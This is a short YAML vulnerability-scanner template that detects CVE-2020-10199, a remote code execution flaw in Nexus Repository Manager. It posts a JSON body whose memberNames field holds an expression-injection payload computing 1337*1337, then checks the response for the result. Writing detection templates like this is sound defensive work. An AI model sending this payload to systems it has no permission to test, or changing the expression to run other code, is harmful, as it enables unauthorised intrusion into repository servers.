id: CVE-2020-10199
info:
  name: Nexus Repository Manager RCE
  risk: High

params:
  - root: '{{.BaseURL}}'
  
variables:
  - endpoint: |
      rest/beta/repositories/go/group
requests: 
  - method: GET
    url: >-
      {{.root}}/{{.endpoint}}
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
      - Content-Type: application/json
    body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
    detections:
      - >-
        StatusCode() == 400 && StringSearch("resBody", "1787569")

references:
  - https://www.cvebase.com/cve/2020/10199